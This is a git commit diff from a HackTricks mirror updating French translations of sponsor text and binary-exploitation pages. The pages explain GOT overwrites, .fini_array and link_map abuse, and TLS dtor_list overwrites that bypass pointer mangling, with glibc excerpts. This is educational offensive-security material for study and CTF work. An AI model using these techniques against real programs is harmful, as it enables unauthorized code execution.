mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
This commit is contained in:
Translator
parent
d5bf30721f
commit
9ff90dbecd
8 changed files with 336 additions and 87 deletions
BIN
.gitbook/assets/image (1201).png
Normal file
BIN
.gitbook/assets/image (1201).png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 588 KiB |
46
README.md
46
README.md
|
|
@ -20,7 +20,7 @@ Pour commencer, suivez cette page où vous trouverez le **flux typique** que **v
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **PIRATER L'IMPENSABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de piratage pour **offrir plusieurs services précieux en cybersécurité** comme les tests d'intrusion, les équipes Red et la formation.
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **PIRATER L'IMPENSABLE**. Ils réalisent leurs propres recherches et développent leurs propres outils de piratage pour **offrir plusieurs services précieux en cybersécurité** comme les tests d'intrusion, les équipes Red et la formation.
|
||||
|
||||
Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
|
|
@ -32,7 +32,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
|
||||
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
@ -42,9 +42,9 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
|
|||
|
||||
<figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** est la plateforme de **bug bounty** et de **piratage éthique n°1 en Europe.**
|
||||
**Intigriti** est la plateforme de **chasse aux bugs** et de **piratage éthique n°1 en Europe.**
|
||||
|
||||
**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce de chasse aux bugs** : **inscrivez-vous** sur **Intigriti**, une **plateforme de chasse aux bugs premium créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
|
@ -69,24 +69,19 @@ Accédez dès aujourd'hui :
|
|||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||||
|
||||
**Perspectives de Piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités de Piratage en Temps Réel**\
|
||||
Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et perspectives en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des derniers bug bounties lancés et des mises à jour cruciales de la plateforme
|
||||
* **Perspectives de Piratage :** Impliquez-vous dans du contenu qui explore l'excitation et les défis du piratage
|
||||
* **Actualités de Piratage en Temps Réel :** Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et perspectives en temps réel
|
||||
* **Dernières Annonces :** Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - La trousse à outils essentielle pour les tests de pénétration
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - La trousse à outils essentielle de test de pénétration
|
||||
|
||||
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
||||
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
|
@ -96,16 +91,13 @@ Restez informé des derniers bug bounties lancés et des mises à jour cruciales
|
|||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi propose des API en temps réel rapides et faciles pour **accéder aux résultats des moteurs de recherche**. Ils extraient les moteurs de recherche, gèrent les proxies, résolvent les captchas et analysent toutes les données structurées riches pour vous.
|
||||
SerpApi propose des API rapides et faciles en temps réel pour **accéder aux résultats des moteurs de recherche**. Ils extraient les moteurs de recherche, gèrent les proxies, résolvent les captchas et analysent toutes les données structurées riches pour vous.
|
||||
|
||||
Un abonnement à l'un des plans de SerpApi comprend l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.
|
||||
|
||||
Contrairement à d'autres fournisseurs, SerpApi ne se contente pas d'extraire les résultats organiques. Les réponses de SerpApi incluent systématiquement toutes les annonces, les images et vidéos intégrées, les graphiques de connaissances et autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
|
||||
Les clients actuels de SerpApi incluent Apple, Shopify et GrubHub.
|
||||
|
||||
Pour plus d'informations, consultez leur [blog](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**bac à sable**](https://serpapi.com/playground)**.**
|
||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire les résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, les images et vidéos intégrées, les graphiques de connaissances et autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify et GrubHub**.\
|
||||
Pour plus d'informations, consultez leur [**blog**](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**bac à sable**](https://serpapi.com/playground)**.**\
|
||||
Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
|
@ -120,17 +112,17 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
|
|||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en matière de cybersécurité en fournissant des services de **sécurité offensive** avec une **approche moderne**.
|
||||
|
||||
WebSec est une entreprise de sécurité **tout-en-un**, ce qui signifie qu'ils font tout ; Tests d'intrusion, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||
WebSec est une **entreprise de sécurité tout-en-un** ce qui signifie qu'ils font tout ; Tests d'intrusion, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore.
|
||||
|
||||
Une autre chose cool à propos de WebSec est que contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le pirater, vous ne le payez pas !**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/)!
|
||||
Une autre chose cool à propos de WebSec est que contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site "**Si nous ne pouvons pas le pirater, vous ne le payez pas !**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
En plus de ce qui précède, WebSec est également un **supporter engagé de HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
## Licence & Avertissement
|
||||
|
||||
Consultez-les ici :
|
||||
|
|
@ -149,6 +141,6 @@ Autres façons de soutenir HackTricks :
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
@ -18,15 +18,15 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
### **GOT : Global Offset Table**
|
||||
|
||||
La **Table des décalages globaux (GOT)** est un mécanisme utilisé dans les binaires liés dynamiquement pour gérer les **adresses des fonctions externes**. Comme ces **adresses ne sont pas connues avant l'exécution** (en raison du lien dynamique), la GOT fournit un moyen de **mettre à jour dynamiquement les adresses de ces symboles externes** une fois qu'elles sont résolues.
|
||||
La **Table des décalages globaux (GOT)** est un mécanisme utilisé dans les binaires liés de manière dynamique pour gérer les **adresses des fonctions externes**. Comme ces **adresses ne sont pas connues avant l'exécution** (en raison du lien dynamique), la GOT fournit un moyen de **mettre à jour dynamiquement les adresses de ces symboles externes** une fois qu'elles sont résolues.
|
||||
|
||||
Chaque entrée dans la GOT correspond à un symbole dans les bibliothèques externes que le binaire peut appeler. Lorsqu'une **fonction est appelée pour la première fois, son adresse réelle est résolue par le lien dynamique et stockée dans la GOT**. Les appels ultérieurs à la même fonction utilisent l'adresse stockée dans la GOT, évitant ainsi les frais généraux de résolution de l'adresse à nouveau.
|
||||
Chaque entrée dans la GOT correspond à un symbole dans les bibliothèques externes que le binaire peut appeler. Lorsqu'une **fonction est appelée pour la première fois, son adresse réelle est résolue par le lieur dynamique et stockée dans la GOT**. Les appels ultérieurs à la même fonction utilisent l'adresse stockée dans la GOT, évitant ainsi le surcoût de la résolution de l'adresse à nouveau.
|
||||
|
||||
### **PLT : Procedure Linkage Table**
|
||||
|
||||
La **Table de liaison de procédure (PLT)** fonctionne en étroite collaboration avec la GOT et sert de trampoline pour gérer les appels aux fonctions externes. Lorsqu'un binaire **appelle une fonction externe pour la première fois, le contrôle est passé à une entrée dans le PLT associée à cette fonction**. Cette entrée PLT est responsable d'inviter le lien dynamique à résoudre l'adresse de la fonction si elle n'a pas déjà été résolue. Après la résolution de l'adresse, elle est stockée dans la **GOT**.
|
||||
La **Table de liaison de procédure (PLT)** travaille en étroite collaboration avec la GOT et sert de trampoline pour gérer les appels aux fonctions externes. Lorsqu'un binaire **appelle une fonction externe pour la première fois, le contrôle est passé à une entrée dans le PLT associée à cette fonction**. Cette entrée PLT est responsable d'inviter le lieur dynamique à résoudre l'adresse de la fonction si elle n'a pas déjà été résolue. Après la résolution de l'adresse, elle est stockée dans la **GOT**.
|
||||
|
||||
**Par conséquent,** les entrées de la GOT sont utilisées directement une fois que l'adresse d'une fonction ou d'une variable externe est résolue. Les entrées de la PLT sont utilisées pour faciliter la résolution initiale de ces adresses via le lien dynamique.
|
||||
**Par conséquent,** les entrées de la GOT sont utilisées directement une fois que l'adresse d'une fonction ou d'une variable externe est résolue. Les entrées de la PLT sont utilisées pour faciliter la résolution initiale de ces adresses via le lieur dynamique.
|
||||
|
||||
## Obtenir l'exécution
|
||||
|
||||
|
|
@ -40,20 +40,28 @@ Observez comment après le **chargement** de l'**exécutable** dans GEF, vous po
|
|||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
En utilisant GEF, vous pouvez **démarrer** une session de **débogage** et exécuter **`got`** pour voir la table got :
|
||||
En utilisant GEF, vous pouvez **démarrer** une **session de débogage** et exécuter **`got`** pour voir la table got :
|
||||
|
||||
.png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
Dans un binaire, la GOT contient les **adresses des fonctions ou** de la section **PLT** qui chargera l'adresse de la fonction. L'objectif de cette écriture arbitraire est de **remplacer une entrée de la GOT** d'une fonction qui va être exécutée plus tard **avec** l'**adresse** du PLT de la fonction **`system`** par exemple.
|
||||
Dans un binaire, la GOT contient les **adresses des fonctions ou** de la **section PLT** qui chargera l'adresse de la fonction. L'objectif de cette écriture arbitraire est de **remplacer une entrée de la GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** de la PLT de la fonction **`system`** par exemple.
|
||||
|
||||
Idéalement, vous **remplacerez** la **GOT** d'une **fonction** qui va être appelée avec des paramètres contrôlés par vous (vous pourrez donc contrôler les paramètres envoyés à la fonction système).
|
||||
|
||||
Si **`system`** n'est **pas utilisé** par le script, la fonction système **n'aura pas d'entrée dans le PLT**. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system` puis écraser la GOT pour pointer vers cette adresse.
|
||||
Si **`system`** n'est **pas utilisé** par le script, la fonction system **n'aura pas d'entrée dans la PLT**. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system` puis écraser la GOT pour pointer vers cette adresse.
|
||||
|
||||
Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## Entrées GOT de libc
|
||||
|
||||
La **GOT de libc** est généralement compilée avec **partial RELRO**, en faisant une cible intéressante pour cela en supposant qu'il est possible de déterminer son adresse ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||
|
||||
Les fonctions courantes de la libc vont appeler **d'autres fonctions internes** dont la GOT pourrait être écrasée pour obtenir une exécution de code.
|
||||
|
||||
Trouvez [**plus d'informations sur cette technique ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
||||
|
|
@ -75,13 +83,13 @@ La protection **Full RELRO** vise à protéger contre ce type de technique en r
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
|
|||
|
|
@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
@ -36,7 +36,7 @@ Bien sûr, vous devez d'abord trouver un **endroit pour stocker le shellcode** a
|
|||
|
||||
## **.fini\_array**
|
||||
|
||||
Essentiellement, c'est une structure avec des **fonctions qui seront appelées** avant la fin du programme, comme **`.dtors`**. C'est intéressant si vous pouvez appeler votre **shellcode en sautant à une adresse**, ou dans des cas où vous devez retourner à **`main`** pour **exploiter la vulnérabilité une deuxième fois**.
|
||||
Essentiellement, il s'agit d'une structure avec des **fonctions qui seront appelées** avant la fin du programme, comme pour les **`.dtors`**. Cela est intéressant si vous pouvez appeler votre **shellcode en sautant à une adresse**, ou dans des cas où vous devez retourner à **`main`** pour **exploiter la vulnérabilité une deuxième fois**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
|
@ -57,12 +57,222 @@ Pour abuser de **`.fini_array`** pour obtenir une boucle infinie, vous pouvez [*
|
|||
|
||||
* Utiliser votre premier écrit pour **appeler à nouveau la fonction d'écriture arbitraire vulnérable**
|
||||
* Ensuite, calculer l'adresse de retour dans la pile stockée par **`__libc_csu_fini`** (la fonction qui appelle toutes les fonctions `.fini_array`) et y mettre l'**adresse de `__libc_csu_fini`**
|
||||
* Cela fera que **`__libc_csu_fini`** s'appelle lui-même en exécutant à nouveau les fonctions de **`.fini_array`** qui appelleront la fonction WWW vulnérable 2 fois : une pour **l'écriture arbitraire** et une autre pour écraser à nouveau l'**adresse de retour de `__libc_csu_fini`** sur la pile pour s'appeler à nouveau.
|
||||
* Cela fera que **`__libc_csu_fini`** s'appelle lui-même en exécutant à nouveau les fonctions de **`.fini_array`** qui appelleront la fonction WWW vulnérable 2 fois : une fois pour **l'écriture arbitraire** et une autre pour écraser à nouveau l'**adresse de retour de `__libc_csu_fini`** sur la pile pour s'appeler à nouveau.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez qu'avec [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la section **`.fini_array`** est rendue **en lecture seule**.
|
||||
{% endhint %}
|
||||
|
||||
## link\_map
|
||||
|
||||
Comme expliqué [**dans ce post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), si le programme se termine en utilisant `return` ou `exit()`, il exécutera `__run_exit_handlers()` qui appellera les destructeurs enregistrés.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si le programme se termine via la fonction **`_exit()`**, il appellera l'appel système **`exit`** et les gestionnaires de sortie ne seront pas exécutés. Ainsi, pour confirmer que `__run_exit_handlers()` est exécuté, vous pouvez définir un point d'arrêt dessus.
|
||||
{% endhint %}
|
||||
|
||||
Le code important est ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
```c
|
||||
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||
if (fini_array != NULL)
|
||||
{
|
||||
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||
|
||||
while (sz-- > 0)
|
||||
((fini_t) array[sz]) ();
|
||||
}
|
||||
[...]
|
||||
|
||||
|
||||
|
||||
|
||||
// This is the d_un structure
|
||||
ptype l->l_info[DT_FINI_ARRAY]->d_un
|
||||
type = union {
|
||||
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||
}
|
||||
```
|
||||
Notez comment `map -> l_addr + fini_array -> d_un.d_ptr` est utilisé pour **calculer** la position du **tableau de fonctions à appeler**.
|
||||
|
||||
Il existe **quelques options** :
|
||||
|
||||
* Écraser la valeur de `map->l_addr` pour qu'elle pointe vers un **faux `fini_array`** avec des instructions pour exécuter un code arbitraire
|
||||
* Écraser les entrées `l_info[DT_FINI_ARRAY]` et `l_info[DT_FINI_ARRAYSZ]` (qui sont plus ou moins consécutives en mémoire) pour les faire **pointer vers une structure `Elf64_Dyn` forgée** qui fera à nouveau **pointer `array` vers une zone mémoire contrôlée par l'attaquant**.
|
||||
* [**Cette analyse**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) écrase `l_info[DT_FINI_ARRAY]` avec l'adresse d'une mémoire contrôlée dans `.bss` contenant un faux `fini_array`. Ce faux tableau contient **d'abord une** [**adresse de one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) qui sera exécutée, puis la **différence** entre l'adresse de ce **faux tableau** et la **valeur de `map->l_addr`** pour que `*array` pointe vers le faux tableau.
|
||||
* Selon le message principal de cette technique et [**cette analyse**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so laisse un pointeur sur la pile qui pointe vers le `link_map` binaire dans ld.so. Avec une écriture arbitraire, il est possible de l'écraser et de le faire pointer vers un faux `fini_array` contrôlé par l'attaquant avec l'adresse d'un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) par exemple.
|
||||
|
||||
Après le code précédent, vous pouvez trouver une autre section intéressante avec le code :
|
||||
```c
|
||||
/* Next try the old-style destructor. */
|
||||
ElfW(Dyn) *fini = map->l_info[DT_FINI];
|
||||
if (fini != NULL)
|
||||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||
}
|
||||
```
|
||||
Dans ce cas, il serait possible de remplacer la valeur de `map->l_info[DT_FINI]` pointant vers une structure `ElfW(Dyn)` forgée. Trouvez [**plus d'informations ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
|
||||
|
||||
## Écrasement de la liste dtor\_list du stockage TLS dans **`__run_exit_handlers`**
|
||||
|
||||
Comme [**expliqué ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), si un programme se termine par `return` ou `exit()`, il exécutera **`__run_exit_handlers()`** qui appellera toute fonction de destructeur enregistrée.
|
||||
|
||||
Code de `_run_exit_handlers()`:
|
||||
```c
|
||||
/* Call all functions registered with `atexit' and `on_exit',
|
||||
in the reverse of the order in which they were registered
|
||||
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||
void
|
||||
attribute_hidden
|
||||
__run_exit_handlers (int status, struct exit_function_list **listp,
|
||||
bool run_list_atexit, bool run_dtors)
|
||||
{
|
||||
/* First, call the TLS destructors. */
|
||||
#ifndef SHARED
|
||||
if (&__call_tls_dtors != NULL)
|
||||
#endif
|
||||
if (run_dtors)
|
||||
__call_tls_dtors ();
|
||||
```
|
||||
Code de **`__call_tls_dtors()`** :
|
||||
```c
|
||||
typedef void (*dtor_func) (void *);
|
||||
struct dtor_list //struct added
|
||||
{
|
||||
dtor_func func;
|
||||
void *obj;
|
||||
struct link_map *map;
|
||||
struct dtor_list *next;
|
||||
};
|
||||
|
||||
[...]
|
||||
/* Call the destructors. This is called either when a thread returns from the
|
||||
initial function or when the process exits via the exit function. */
|
||||
void
|
||||
__call_tls_dtors (void)
|
||||
{
|
||||
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||
{
|
||||
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||
dtor_func func = cur->func;
|
||||
PTR_DEMANGLE (func); // demangle the function ptr
|
||||
|
||||
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||
func (cur->obj);
|
||||
[...]
|
||||
}
|
||||
}
|
||||
```
|
||||
Pour chaque fonction enregistrée dans **`tls_dtor_list`**, elle démangera le pointeur de **`cur->func`** et l'appellera avec l'argument **`cur->obj`**.
|
||||
|
||||
En utilisant la fonction **`tls`** de ce [**fork de GEF**](https://github.com/bata24/gef), il est possible de voir que en réalité la liste des destructeurs (**`dtor_list`**) est très **proche** du **canari de pile** et du **cookie PTR\_MANGLE**. Ainsi, en cas de dépassement de tampon, il serait possible de **écraser** le **cookie** et le **canari de pile**.\
|
||||
En écrasant le cookie PTR\_MANGLE, il serait possible de **contourner la fonction `PTR_DEMANLE`** en le définissant à 0x00, ce qui signifie que le **`xor`** utilisé pour obtenir l'adresse réelle est simplement l'adresse configurée. Ensuite, en écrivant sur la **`dtor_list`**, il est possible de **enchaîner plusieurs fonctions** avec l'**adresse de la fonction** et son **argument**.
|
||||
|
||||
Enfin, notez que le pointeur stocké sera non seulement xoré avec le cookie mais également roté de 17 bits :
|
||||
```armasm
|
||||
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||
